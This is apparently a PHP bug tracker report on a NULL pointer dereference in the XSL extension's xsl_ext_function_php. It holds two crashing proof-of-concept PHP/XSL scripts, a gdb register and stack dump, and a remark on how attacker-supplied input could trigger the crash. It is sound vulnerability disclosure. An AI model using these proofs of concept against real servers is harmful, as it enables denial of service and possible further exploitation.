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[2016-02-07 08:46 UTC] manhluat at vnsecurity dot net
Description: ------------ There is a lack of validation $obj in xsl_ext_function_php as link i mark highlight below https://github.com/php/php-src/blob/master/ext/xsl/xsltprocessor.c#L233 It doesnt check whether $obj is NULL, then it passes NULL pointer further and makes php crash. From an attackers point of view, could potentially alloc the heap at 0x0 address then probably lead to remote code execution. Test script: --------------- <?php $xml = <<<EOB <allusers> <user> <uid>bob</uid> </user> </allusers> EOB; $xsl = <<<EOB <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <xsl:output method="html" encoding="utf-8" indent="yes"/> <xsl:template match="allusers"> <html><body> <h2>Users</h2> <table> <xsl:for-each select="user"> <tr><td> <xsl:value-of select="php:function('test',uid,test(test))"/> </td></tr> </xsl:for-each> </table> </body></html> </xsl:template> </xsl:stylesheet> EOB; $xmldoc = DOMDocument::loadXML($xml); $xsldoc = DOMDocument::loadXML($xsl); $proc = new XSLTProcessor(); $proc->registerPHPFunctions(); $proc->importStyleSheet($xsldoc); echo $proc->transformToXML($xmldoc); ?> Expected result: ---------------- root@ubuntu:~/test/php-7.0.3# ./sapi/cli/php /root/test/php-5.6.17/hihi/poc/xsl_null.php Warning: XSLTProcessor::transformToXml(): xmlXPathCompOpEval: function test not found in /root/test/php-5.6.17/hihi/poc/xsl_null.php on line 36 Warning: XSLTProcessor::transformToXml(): Unregistered function in /root/test/php-5.6.17/hihi/poc/xsl_null.php on line 36 Warning: XSLTProcessor::transformToXml(): Stack usage errror in /root/test/php-5.6.17/hihi/poc/xsl_null.php on line 36 Segmentation fault (core dumped) root@ubuntu:~/test/php-7.0.3# Actual result: -------------- gdb-peda$ r /root/test/php-5.6.17/hihi/poc/xsl_null.php Starting program: /root/test/php-7.0.3/sapi/cli/php /root/test/php-5.6.17/hihi/poc/xsl_null.php Warning: XSLTProcessor::transformToXml(): xmlXPathCompOpEval: function test not found in /root/test/php-5.6.17/hihi/poc/xsl_null.php on line 36 Warning: XSLTProcessor::transformToXml(): Unregistered function in /root/test/php-5.6.17/hihi/poc/xsl_null.php on line 36 Warning: XSLTProcessor::transformToXml(): Stack usage errror in /root/test/php-5.6.17/hihi/poc/xsl_null.php on line 36 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x7ffff5a62520 --> 0x7ffff5a62500 --> 0x7ffff5a624e0 --> 0x7ffff5a624c0 --> 0x7ffff5a62480 --> 0x7ffff5a62460 --> 0x7ffff5a62420 --> 0x7ffff5a62400 --> 0x7ffff5a623a0 --> 0x7ffff5a62560 --> 0x7ffff5a62580 --> 0x7ffff5a625a0 --> 0x7ffff5a625c0 --> 0x7ffff5a625e0 --> 0x7ffff5a62600 --> 0x7ffff5a62620 --> 0x7ffff5a62640 --> 0x7ffff5a62660 --> 0x7ffff5a62680 --> 0x7ffff5a626a0 --> 0x7ffff5a626c0 --> 0x7ffff5a626e0 --> 0x7ffff5a62700 --> 0x7ffff5a62720 --> 0x7ffff5a62740 --> 0x7ffff5a62760 --> 0x7ffff5a62780 --> 0x7ffff5a627a0 --> 0x7ffff5a627c0 --> 0x7ffff5a627e0 --> 0x7ffff5a62800 --> 0x7ffff5a62820 --> 0x7ffff5a62840 --> 0x7ffff5a62860 --> 0x7ffff5a62880 --> 0x7ffff5a628a0 --> 0x7ffff5a628c0 --> 0x7ffff5a628e0 --> 0x7ffff5a62900 --> 0x7ffff5a62920 --> 0x7ffff5a62940 --> 0x7ffff5a62960 --> 0x7ffff5a62980 --> 0x7ffff5a629a0 --> 0x7ffff5a629c0 --> 0x7ffff5a629e0 --> 0x7ffff5a62a00 --> 0x7ffff5a62a20 --> 0x7ffff5a62a40 --> 0x7ffff5a62a60 --> 0x7ffff5a62a80 --> 0x7ffff5a62aa0 --> 0x7ffff5a62ac0 --> 0x7ffff5a62ae0 --> 0x7ffff5a62b00 --> 0x7ffff5a62b20 --> 0x7ffff5a62b40 --> 0x7ffff5a62b60 --> 0x7ffff5a62b80 --> 0x7ffff5a62ba0 --> 0x7ffff5a62bc0 --> 0x7ffff5a62be0 --> 0x7ffff5a62c00 --> 0x7ffff5a62c20 --> 0x7ffff5a62c40 --> 0x7ffff5a62c60 --> 0x7ffff5a62c80 --> 0x7ffff5a62ca0 --> 0x7ffff5a62cc0 --> 0x7ffff5a62ce0 --> 0x7ffff5a62d00 --> 0x7ffff5a62d20 --> 0x7ffff5a62d40 --> 0x7ffff5a62d60 --> 0x7ffff5a62d80 --> 0x7ffff5a62da0 --> 0x7ffff5a62dc0 --> 0x7ffff5a62de0 --> 0x7ffff5a62e00 --> 0x7ffff5a62e20 --> 0x7ffff5a62e40 --> 0x7ffff5a62e60 --> 0x7ffff5a62e80 --> 0x7ffff5a62ea0 --> 0x7ffff5a62ec0 --> 0x7ffff5a62ee0 --> 0x7ffff5a62f00 --> 0x7ffff5a62f20 --> 0x7ffff5a62f40 --> 0x7ffff5a62f60 --> 0x7ffff5a62f80 --> 0x7ffff5a62fa0 --> 0x7ffff5a62fc0 --> 0x7ffff5a62fe0 --> 0x0 RCX: 0xf RDX: 0x7ffff5a74400 --> 0x7ffff5a74500 --> 0x7ffff5a74600 --> 0x7ffff5a74700 --> 0x7ffff5a74800 --> 0x7ffff5a74900 --> 0x7ffff5a74a00 --> 0x7ffff5a74b00 --> 0x7ffff5a74c00 --> 0x7ffff5a74d00 --> 0x7ffff5a74e00 --> 0x7ffff5a74f00 --> 0x0 RSI: 0x7ffff5a00000 --> 0x7ffff5a00040 --> 0x0 RDI: 0x7ffff5a74300 --> 0x7ffff5a74400 --> 0x7ffff5a74500 --> 0x7ffff5a74600 --> 0x7ffff5a74700 --> 0x7ffff5a74800 --> 0x7ffff5a74900 --> 0x7ffff5a74a00 --> 0x7ffff5a74b00 --> 0x7ffff5a74c00 --> 0x7ffff5a74d00 --> 0x7ffff5a74e00 --> 0x7ffff5a74f00 --> 0x0 RBP: 0x0 RSP: 0x7fffffffa4e0 --> 0xf27c60 --> 0x0 RIP: 0x5e9d12 (<xsl_ext_function_php+354>: mov eax,DWORD PTR [rax]) R8 : 0x7ffff7fd6740 (0x00007ffff7fd6740) R9 : 0x78 ('x') R10: 0x1 R11: 0x246 R12: 0x0 R13: 0xf27c60 --> 0x0 R14: 0x0 R15: 0x7ffff5a5c320 --> 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x5e9d06 <xsl_ext_function_php+342>: mov rdi,QWORD PTR [rsp] 0x5e9d0a <xsl_ext_function_php+346>: call 0x424900 <valuePop@plt> 0x5e9d0f <xsl_ext_function_php+351>: mov r12,rax => 0x5e9d12 <xsl_ext_function_php+354>: mov eax,DWORD PTR [rax] 0x5e9d14 <xsl_ext_function_php+356>: cmp eax,0x2 0x5e9d17 <xsl_ext_function_php+359>: je 0x5e9f20 <xsl_ext_function_php+880> 0x5e9d1d <xsl_ext_function_php+365>: ja 0x5e9c80 <xsl_ext_function_php+208> 0x5e9d23 <xsl_ext_function_php+371>: cmp eax,0x1 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffa4e0 --> 0xf27c60 --> 0x0 0008| 0x7fffffffa4e8 --> 0x7ffff5a62520 --> 0x7ffff5a62500 --> 0x7ffff5a624e0 --> 0x7ffff5a624c0 --> 0x7ffff5a62480 --> 0x7ffff5a62460 --> 0x7ffff5a62420 --> 0x7ffff5a62400 --> 0x7ffff5a623a0 --> 0x7ffff5a62560 --> 0x7ffff5a62580 --> 0x7ffff5a625a0 --> 0x7ffff5a625c0 --> 0x7ffff5a625e0 --> 0x7ffff5a62600 --> 0x7ffff5a62620 --> 0x7ffff5a62640 --> 0x7ffff5a62660 --> 0x7ffff5a62680 --> 0x7ffff5a626a0 --> 0x7ffff5a626c0 --> 0x7ffff5a626e0 --> 0x7ffff5a62700 --> 0x7ffff5a62720 --> 0x7ffff5a62740 --> 0x7ffff5a62760 --> 0x7ffff5a62780 --> 0x7ffff5a627a0 --> 0x7ffff5a627c0 --> 0x7ffff5a627e0 --> 0x7ffff5a62800 --> 0x7ffff5a62820 --> 0x7ffff5a62840 --> 0x7ffff5a62860 --> 0x7ffff5a62880 --> 0x7ffff5a628a0 --> 0x7ffff5a628c0 --> 0x7ffff5a628e0 --> 0x7ffff5a62900 --> 0x7ffff5a62920 --> 0x7ffff5a62940 --> 0x7ffff5a62960 --> 0x7ffff5a62980 --> 0x7ffff5a629a0 --> 0x7ffff5a629c0 --> 0x7ffff5a629e0 --> 0x7ffff5a62a00 --> 0x7ffff5a62a20 --> 0x7ffff5a62a40 --> 0x7ffff5a62a60 --> 0x7ffff5a62a80 --> 0x7ffff5a62aa0 --> 0x7ffff5a62ac0 --> 0x7ffff5a62ae0 --> 0x7ffff5a62b00 --> 0x7ffff5a62b20 --> 0x7ffff5a62b40 --> 0x7ffff5a62b60 --> 0x7ffff5a62b80 --> 0x7ffff5a62ba0 --> 0x7ffff5a62bc0 --> 0x7ffff5a62be0 --> 0x7ffff5a62c00 --> 0x7ffff5a62c20 --> 0x7ffff5a62c40 --> 0x7ffff5a62c60 --> 0x7ffff5a62c80 --> 0x7ffff5a62ca0 --> 0x7ffff5a62cc0 --> 0x7ffff5a62ce0 --> 0x7ffff5a62d00 --> 0x7ffff5a62d20 --> 0x7ffff5a62d40 --> 0x7ffff5a62d60 --> 0x7ffff5a62d80 --> 0x7ffff5a62da0 --> 0x7ffff5a62dc0 --> 0x7ffff5a62de0 --> 0x7ffff5a62e00 --> 0x7ffff5a62e20 --> 0x7ffff5a62e40 --> 0x7ffff5a62e60 --> 0x7ffff5a62e80 --> 0x7ffff5a62ea0 --> 0x7ffff5a62ec0 --> 0x7ffff5a62ee0 --> 0x7ffff5a62f00 --> 0x7ffff5a62f20 --> 0x7ffff5a62f40 --> 0x7ffff5a62f60 --> 0x7ffff5a62f80 --> 0x7ffff5a62fa0 --> 0x7ffff5a62fc0 --> 0x7ffff5a62fe0 --> 0x0 0016| 0x7fffffffa4f0 --> 0x7ffff5a76000 --> 0xf12170 --> 0x0 0024| 0x7fffffffa4f8 --> 0x100000002 0032| 0x7fffffffa500 --> 0x7fffffffa540 --> 0xf1294a ("function") 0040| 0x7fffffffa508 --> 0xf10ab0 --> 0x0 0048| 0x7fffffffa510 --> 0xf108d0 --> 0x7ffff5a01078 (0x0000000000f108d0) 0056| 0x7fffffffa518 --> 0x2 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV xsl_ext_function_php (ctxt=<optimized out>, nargs=<optimized out>, type=<optimized out>) at /root/test/php-7.0.3/ext/xsl/xsltprocessor.c:234 234 switch (obj->type) { gdb-peda$ PatchesPull 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Last updated: Sat Feb 22 16:01:29 2025 UTC |
---------------------------------------------- <?php $xml = <<<EOB <allusers> <user> <id>aaa</id> <name>bob</name> </user> </allusers> EOB; $xsl = <<<EOB <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <xsl:output method="html" encoding="utf-8" indent="yes"/> <xsl:template match="allusers"> <html><body> <h2>Users</h2> <table> <xsl:for-each select="user"> <tr><td> <xsl:value-of select="php:functionString('var_dump',uid,int(id))"/> </td></tr> </xsl:for-each> </table> </body></html> </xsl:template> </xsl:stylesheet> EOB; $xmldoc = DOMDocument::loadXML($xml); $xsldoc = DOMDocument::loadXML($xsl); $proc = new XSLTProcessor(); $proc->registerPHPFunctions(); $proc->importStyleSheet($xsldoc); echo $proc->transformToXML($xmldoc); ?> ---------------------------------------------- another PoC. U can see that end-user should be able to input $xml right ? :D. and in $xsl, developer wanna convert id to `int` type. But in this evil scenario, attacker just supply dummy string to make valuePop returns NULL.